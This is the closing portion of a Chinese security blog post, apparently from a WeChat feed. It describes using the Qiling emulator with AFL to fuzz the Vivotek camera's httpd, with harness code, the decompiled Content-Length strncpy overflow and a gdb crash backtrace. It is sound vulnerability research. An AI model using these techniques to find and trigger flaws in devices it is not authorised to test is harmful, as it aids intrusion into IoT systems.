ql_afl_fuzz<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">simple_diassembler</span>(ql: Qiling, address: <span style="color: rgb(230, 192, 123);">int</span>, size: <span style="color: rgb(230, 192, 123);">int</span>, md: Cs) -&gt; <span style="color: rgb(86, 182, 194);">None</span>:<br/>    buf = ql.mem.read(address, size)<br/>    <span style="color: rgb(198, 120, 221);">for</span> insn <span style="color: rgb(198, 120, 221);">in</span> md.disasm(buf, address):<br/>        ql.log.debug(<span style="color: rgb(152, 195, 121);">f&#39;:: <span style="color: rgb(224, 108, 117);">{insn.address:#x}</span> : <span style="color: rgb(224, 108, 117);">{insn.mnemonic:24s}</span> <span style="color: rgb(224, 108, 117);">{insn.op_str}</span>&#39;</span>)<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">main</span>(input_file: <span style="color: rgb(230, 192, 123);">str</span>, trace: <span style="color: rgb(230, 192, 123);">bool</span> = <span style="color: rgb(86, 182, 194);">False</span>):<br/>    ql = Qiling([<span style="color: rgb(152, 195, 121);">&#39;./rootfs/usr/sbin/httpd&#39;</span>, <span style="color: rgb(152, 195, 121);">&#34;-c&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;/etc/conf.d/boa&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;-d&#34;</span>], rootfs=<span style="color: rgb(152, 195, 121);">&#39;./rootfs&#39;</span>, profile=<span style="color: rgb(152, 195, 121);">&#39;./boa_arm.ql&#39;</span>, verbose=QL_VERBOSE.OFF, console = <span style="color: rgb(86, 182, 194);">True</span> <span style="color: rgb(198, 120, 221);">if</span> trace <span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(86, 182, 194);">False</span>)<br/>    ql.restore(snapshot=<span style="color: rgb(152, 195, 121);">&#39;./context.bin&#39;</span>)<br/>    fuzz_mem = ql.mem.search(<span style="color: rgb(152, 195, 121);">b&#39;fuck&#39;</span>)<br/>    <br/>    target_addr = fuzz_mem[<span style="color: rgb(209, 154, 102);">0</span>]<br/>    <span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">place_input_callback</span>(_ql: Qiling, <span style="color: rgb(230, 192, 123);">input</span>: <span style="color: rgb(230, 192, 123);">bytes</span>, _):<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;"># print(b&#34;**************** &#34; + input)</span><br/>        _ql.mem.write(target_addr, <span style="color: rgb(230, 192, 123);">input</span>)<br/>        <br/>    <span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">start_afl</span>(_ql: Qiling):<br/>        <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>        Callback from inside<br/>        &#34;&#34;&#34;</span><br/>        ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[<span style="color: rgb(209, 154, 102);">0x018398</span>])<br/>    ql.hook_address(callback=start_afl, address=<span style="color: rgb(209, 154, 102);">0x0180FC</span>+<span style="color: rgb(209, 154, 102);">4</span>)<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># ql.hook_code(simple_diassembler, begin=0x0180FC, end=0x018600, user_data=ql.arch.disassembler)</span><br/>    <span style="color: rgb(198, 120, 221);">try</span>:<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;"># ql.debugger = True</span><br/>        ql.run(begin=<span style="color: rgb(209, 154, 102);">0x0180FC</span>+<span style="color: rgb(209, 154, 102);">4</span>, end=<span style="color: rgb(209, 154, 102);">0x018600</span>)    <span style="color: rgb(92, 99, 112);font-style: italic;">#注意arm函数返回地址比较奇怪，不一定在函数末尾</span><br/>        os._exit(<span style="color: rgb(209, 154, 102);">0</span>)<br/>    <span style="color: rgb(198, 120, 221);">except</span>:<br/>        <span style="color: rgb(198, 120, 221);">if</span> trace:<br/>            <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#34;\nFuzzer Went Shit&#34;</span>)<br/>        os._exit(<span style="color: rgb(209, 154, 102);">0</span>)  <br/><span style="color: rgb(198, 120, 221);">if</span> __name__ == <span style="color: rgb(152, 195, 121);">&#34;__main__&#34;</span>:<br/>    <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(230, 192, 123);">len</span>(sys.argv) == <span style="color: rgb(209, 154, 102);">1</span>:<br/>        <span style="color: rgb(198, 120, 221);">raise</span> ValueError(<span style="color: rgb(152, 195, 121);">&#34;No input file provided.&#34;</span>)<br/>    <br/>    os.chdir(<span style="color: rgb(152, 195, 121);">&#39;/home/iot/workspace/Emulator/qiling-dev/vivetok&#39;</span>)<br/>    <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(230, 192, 123);">len</span>(sys.argv) &gt; <span style="color: rgb(209, 154, 102);">2</span> <span style="color: rgb(198, 120, 221);">and</span> sys.argv[<span style="color: rgb(209, 154, 102);">1</span>] == <span style="color: rgb(152, 195, 121);">&#34;-t&#34;</span>:<br/>        main(sys.argv[<span style="color: rgb(209, 154, 102);">2</span>], trace=<span style="color: rgb(86, 182, 194);">True</span>)<br/>    <span style="color: rgb(198, 120, 221);">else</span>:<br/>        main(sys.argv[<span style="color: rgb(209, 154, 102);">1</span>])</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  这里很坑的一点是，在漏洞中因为<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Content-Length</code>成员不以\n结尾时就会让v31等于0会让strncpy报错但是不一定是pc指针错误，而是某些指令地址操作数问题</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">v30 = <span style="color: rgb(230, 192, 123);">strstr</span>(haystack, <span style="color: rgb(152, 195, 121);">&#34;Content-Length&#34;</span>);<br/>v31 = <span style="color: rgb(230, 192, 123);">strchr</span>(v30, <span style="color: rgb(152, 195, 121);">&#39;\n&#39;</span>);<br/>v32 = <span style="color: rgb(230, 192, 123);">strchr</span>(v30, <span style="color: rgb(152, 195, 121);">&#39;:&#39;</span>);<br/><span style="color: rgb(230, 192, 123);">strncpy</span>(dest, v32 + <span style="color: rgb(209, 154, 102);">1</span>, v31 - (v32 + <span style="color: rgb(209, 154, 102);">1</span>));</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在源码中AFL模块调用以下函数完成fuzz执行：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">_dummy_fuzz_callback</span>(_ql: <span style="color: rgb(152, 195, 121);">&#34;Qiling&#34;</span>):<br/>            <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(230, 192, 123);">isinstance</span>(_ql.arch, QlArchARM):<br/>                pc = _ql.arch.effective_pc<br/>            <span style="color: rgb(198, 120, 221);">else</span>:<br/>                pc = _ql.arch.regs.arch_pc<br/>            <span style="color: rgb(198, 120, 221);">try</span>:<br/>                _ql.uc.emu_start(pc, <span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(209, 154, 102);">0</span>)<br/>            <span style="color: rgb(198, 120, 221);">except</span> UcError <span style="color: rgb(198, 120, 221);">as</span> e:<br/>                os.abort()     <span style="color: rgb(92, 99, 112);font-style: italic;">#添加部分</span><br/>                <span style="color: rgb(198, 120, 221);">return</span> e.errno<br/>            </code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">因此添加<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">os.abort</code>通知AFL程序崩溃</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">效果</h3><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6339181286549708" data-s="300,640" style="" data-type="png" data-w="855" src="https://wechat2rss.xlab.app/img-proxy/?k=5cbe06f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZHBSh4L3QKBgYu8wXM752SMYo5q31XquiaYiaslgyhtJufkOaZNPjMwLVY4zB3cmnB4UcXPj5xcibWA%2F640%3Fwx_fmt%3Dpng"/></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">image-20221213140214049</figcaption></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">Fuzz sys_read</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  上面直接对buf写入Fuzz数据肯定不是一个很理想的办法(比如Fuzz数据超出读取长度)，当然人家给的例子就是这么Fuzz的也不失一种方法；之后</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  就尝试利用Qiling的系统调用劫持功能让Fuzz效果更好。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  从read函数调用处开始执行，在这之前劫持read函数调用让程序直接读取文件输入：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">read_syscall</span>(ql: Qiling, fd: <span style="color: rgb(230, 192, 123);">int</span>, buf: <span style="color: rgb(230, 192, 123);">int</span>, size: <span style="color: rgb(230, 192, 123);">int</span>, *args) -&gt; <span style="color: rgb(230, 192, 123);">int</span>:<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># print(fd, buf, size)</span><br/>    data = ql.os.stdin.read(size)<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># print(data)</span><br/>    ql.mem.write(buf, data)<br/>    <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(230, 192, 123);">len</span>(data)<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">place_input_callback</span>(_ql: Qiling, <span style="color: rgb(230, 192, 123);">input</span>: <span style="color: rgb(230, 192, 123);">bytes</span>, _):<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># print(b&#34;**************** &#34; + input)</span><br/>    ql.os.stdin.write(<span style="color: rgb(230, 192, 123);">input</span>)<br/>    <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(86, 182, 194);">True</span><br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">start_afl</span>(_ql: Qiling):<br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>    Callback from inside<br/>    &#34;&#34;&#34;</span><br/>    ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[<span style="color: rgb(209, 154, 102);">0x018398</span>])</code></pre><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">效果</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">同样写个脚本把服务并且设置debugger等待gdb连接：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6607744107744108" data-s="300,640" style="" data-type="png" data-w="1188" src="https://wechat2rss.xlab.app/img-proxy/?k=253fdda0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZHBSh4L3QKBgYu8wXM752Sse2DoXqJ401uiapSle5mHURibLvjqKTgKREzdayWL5JeEIXfmMSVDgdg%2F640%3Fwx_fmt%3Dpng"/></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">image-20221213143927097</figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">然后将crash中的数据发送：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.50234375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=991ff461&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZHBSh4L3QKBgYu8wXM752SQicWZSDAv99hEYsQicURqnTfs3UwI9qztkSYxxcgLCpElLdAqrLNBogw%2F640%3Fwx_fmt%3Dpng"/></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">image-20221213144007558</figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">也确实触发到了漏洞：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">0x900a5d74 <span style="color: rgb(198, 120, 221);">in</span> strncpy () from target:/lib/libc.so.0<br/>gef➤  backtrace <br/><span style="color: rgb(92, 99, 112);font-style: italic;">#0  0x900a5d74 in strncpy () from target:/lib/libc.so.0</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;">#1  0x0001853c in ?? ()</span><br/>Backtrace stopped: previous frame identical to this frame (corrupt stack?)<br/>gef➤  </code></pre><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">技巧</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  fuzz过程中不好调试连写的harness有没有效果都不知道，可以使用capstone同步解析执行汇编情况：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">simple_diassembler</span>(ql: Qiling, address: <span style="color: rgb(230, 192, 123);">int</span>, size: <span style="color: rgb(230, 192, 123);">int</span>, md: Cs) -&gt; <span style="color: rgb(86, 182, 194);">None</span>:<br/>    buf = ql.mem.read(address, size)<br/>    <span style="color: rgb(198, 120, 221);">for</span> insn <span style="color: rgb(198, 120, 221);">in</span> md.disasm(buf, address):<br/>        ql.log.debug(<span style="color: rgb(152, 195, 121);">f&#39;:: <span style="color: rgb(224, 108, 117);">{insn.address:#x}</span> : <span style="color: rgb(224, 108, 117);">{insn.mnemonic:24s}</span> <span style="color: rgb(224, 108, 117);">{insn.op_str}</span>&#39;</span>)</code></pre><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">参考</h1><ul style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">固件链接</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">Demo - Qiling Framework Documentation</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">IOT Fuzz 两种思路</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">vivetok 摄像头远程栈溢出漏洞分析-安全客 - 安全资讯平台 (anquanke.com)</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">Vivotek远程栈溢出漏洞分析与复现 - 先知社区 (aliyun.com)</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">基于Unicorn和LibFuzzer的模拟执行fuzzing</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">基于 unicorn 的单个函数模拟执行和 fuzzer 实现</span></p></li></ul><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485799">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=525254e0&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NzczOTA3OQ%3D%3D%26mid%3D2247485799%26idx%3D1%26sn%3Df2fa3c801c91dfc4a5bf26ea5518961f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 31 Jan 2023 14:52:00 +0800</pubDate>
    </item>
  </channel>
</rss>